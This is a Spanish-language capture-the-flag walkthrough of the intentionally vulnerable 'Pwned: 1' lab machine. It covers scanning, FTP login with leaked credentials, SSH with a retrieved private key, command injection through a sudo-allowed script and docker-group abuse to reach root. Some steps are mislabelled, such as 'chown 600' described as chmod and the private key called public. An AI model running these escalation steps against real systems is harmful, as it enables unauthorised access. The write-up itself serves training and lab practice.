

## Rafael Aguilar Muñoz

vanakam nanba (He

```

oooooooooooooooo
PooooooooooooP
PooooPooooPooooP
PPooooP   PooooP
PooooP   PooooPooooow
PooooP   PooooP woooo
PooooPooooPooooP woooo
PooooooooooooP woooo
PooooPooooPooooP woooo
PooooP   woooo
PooooP   woooo
PooooP   woooo
PooooP   woooo
PPooooP   woooo
PooooP   woooo
PooooP   woooo
PooooP   woooo
oooooooooooo      woooo

```



Last note from Attacker :

I am Anshynn. I  
Now they worry a

- VM name : Pwned
- Difficulty : Easy
- DHCP : Enabled

more...

**Pwned: 1**

10 Jul 2020 by Ajs Walker

```
(root@kali)-[/]  
# netdiscover -r 192.168.43.0/24
```



Escanear todas las direcciones IP de la subred 192.168.43.0/24

```
(root@kali)-[/]  
# nmap -sV -sC -P 192.168.43.21  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 11:12 EST  
Nmap scan report for 192.168.43.21  
Host is up (0.00067s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 3.0.3  
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)  
| ssh-hostkey:  
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)  
|   256  81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)  
|_  256  dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)  
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))  
|_ http-server-header: Apache/2.4.38 (Debian)  
|_ http-title: Pwned... !!  
MAC Address: 08:00:27:B2:17:B1 (Oracle VirtualBox virtual NIC)  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Usar nmap para detectar la versión de cada servicio, obtener toda la información posible sobre los servicios que se ejecutan en los puertos abiertos y escanear todos los puertos abiertos.



## Index of /hidden\_text

<a href="#">Name</a>	<a href="#">Last modified</a>	<a href="#">Size</a>	<a href="#">Description</a>
 <a href="#">Parent Directory</a>		-	
 <a href="#">secret.dic</a>	2020-07-09 18:37	211	

Apache/2.4.38 (Debian) Server at 192.168.43.21 Port 80

Escribir en la barra de búsqueda del navegador.  
[http://192.168.43.21/hidden\\_text](http://192.168.43.21/hidden_text)

```
/hacked  
/vanakam_nanba  
/hackerman.gif  
/facebook  
/whatsapp  
/instagram  
/pwned  
/pwned.com  
/pubg  
/cod  
/fortnite  
/youtube  
/kali.org  
/hacked.vuln  
/users.vuln  
/passwd.vuln  
/pwned.vuln  
/backup.vuln  
/.ssh  
/root  
/home
```

Dentro del archivo "secret.dic", encontramos el siguiente contenido.

```
(root@kali)-[/]  
# ftp 192.168.43.21  
Connected to 192.168.43.21.  
220 (vsFTPd 3.0.3)  
Name (192.168.43.21:rafa):
```

Usuario: ftpuser  
Contraseña: B0ss\_B!Tch

```

(root@kali)-[/]
# ftp 192.168.43.21
Connected to 192.168.43.21.
220 (vsFTPd 3.0.3)
Name (192.168.43.21:rafa): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

```

Ahora vamos a usar el protocolo ftp porque necesitamos archivos importantes de la máquina vulnerable. Accedemos como usuario "ftpuser"

```

Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||52468|)
150 Here comes the directory listing.
drwxr-xr-x  2 0      0              4096 Jul 10  2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||65438|)
150 Here comes the directory listing.
-rw-r--r--  1 0      0              2602 Jul 09  2020 id_rsa
-rw-r--r--  1 0      0              75 Jul 09  2020 note.txt
226 Directory send OK.

```

Entrar en el directorio share y usar el comando dir para ver todos los ficheros y directorios que hay dentro.

```

ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||10036|)
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
100% |*****| 2602 12.16 MiB/s 00:00 ETA
226 Transfer complete.
2602 bytes received in 00:00 (646.89 KiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||50361|)
150 Opening BINARY mode data connection for note.txt (75 bytes).
100% |*****| 75 85.76 KiB/s 00:00 ETA
226 Transfer complete.
75 bytes received in 00:00 (17.75 KiB/s)

```

Usar el comando get para poder transferir los archivos al Kali Linux.

```
(root@kali)-[/home/rafa/Desktop]
# chown 600 id_rsa
```

Usar el comando chmod para limitar el acceso al archivo id\_rsa.

```
(root@kali)-[/home/rafa/Desktop]
# ssh ariana@192.168.43.21 -i id_rsa
The authenticity of host '192.168.43.21 (192.168.43.21)' can't be established.
ED25519 key fingerprint is SHA256:Eu7UdscPxuaxyzophLkeILniUaKCge0R96HjWhAmpyk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.21' (ED25519) to the list of known hosts.
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$
```

Ahora vamos a usar el protocolo ssh para poder acceder a la máquina vulnerable vamos a necesitar el archivo id\_rsa que contiene una clave pública que nos permite el acceso.

```
ariana@pwned:~$ id
```

Usar el comando id para obtener información sobre el usuario arina.

```
ariana@pwned:~$ cat user1.txt
congratulations you Pwned ariana

Here is your user flag ↓↓↓↓↓↓

fb8d98be1265dd88bac522e1b2182140

Try harder.need become root
```

Usar el comando cat para el fichero user1.txt para poder obtener la primera flag.

```
ariana@pwned:~$ sudo -l
```

Usar el parámetro "-l" para el comando sudo y escalar privilegios dentro de la máquina vulnerable.

```
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
ariana@pwned:~$
```

Ahora el usuario ariana puede usar comandos como si fuera root.

```
ariana@pwned:~$ cat /home/messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "

$msg 2> /dev/null

echo ""
echo "Message sent to $name :) "
echo ""
```

Ahora queremos visualizar el contenido del archivo messenger.sh.

```

ariana@pwned:~$ pwd
/home/ariana
ariana@pwned:~$ cd ..
ariana@pwned:/home$ ls
ariana  ftpuser  messenger.sh  selen
ariana@pwned:/home$
ariana@pwned:/home$
ariana@pwned:/home$
ariana@pwned:/home$
ariana@pwned:/home$
ariana@pwned:/home$
ariana@pwned:/home$
ariana@pwned:/home$ ls
ariana  ftpuser  messenger.sh  selen
ariana@pwned:/home$

```

Usar el comando pwd para saber la ruta donde nos encontramos. Y usar el comando ls para saber qué ficheros y directorios hay dentro.

```

ariana@pwned:~$ sudo -u selen /home/messenger.sh

```

Ahora vamos a cambiar al usuarios selen y se va a ejecutar el archivo messenger.sh

```

Welcome to linux.messenger

ariana:
selen:
ftpuser:

Enter username to send message : selen
Enter message for selen : /bin/bash

```

Se nos pide ahora el usuario al que queremos mandar el texto que se encuentra en "/bin/bash"



```

Sending message to selena
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
python3 -c "import pty; pty.spawn('/bin/bash')"
selena@pwned:/home/ariana$ █

```

Usar el comando id para obtener la información del usuario selena.

```

selena@pwned:/home/ariana$ cat /home/selena/user2.txt
711fd6c6caad532815a440f7f295c176

You are near to me. you found selena too.

Try harder to catch me
selena@pwned:/home/ariana$ █

```

Visualizar el contenido del fichero "user2.txt" que tiene selena.

```

selena@pwned:/home/ariana$ docker run -v /:/mnt --rm -it privesc chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
4d4098d64e163d2726959455d046fd7c
vanakam nanba. I hacked your login

You found me. i dont't expect this (◎.◎)
Username  Password  
I am Ajay (Annlynn) i hacked your server left and this for you.

I trapped Ariana and Selena to takeover your server :)

You Pwned the Pwned congratulations :)

share the screen shot or flags to given contact details for confirmation

Telegram   https://t.me/joinchat/NGcyGx0l5slf7_Xt0kTr7g
Instgarm   ajs_walker
Twitter    Ajs_walker
# █

```

Usar el siguiente comando con la herramienta docker para poder tener permisos de root. Y buscar la flag que está en "root.txt" dentro de la carpeta root.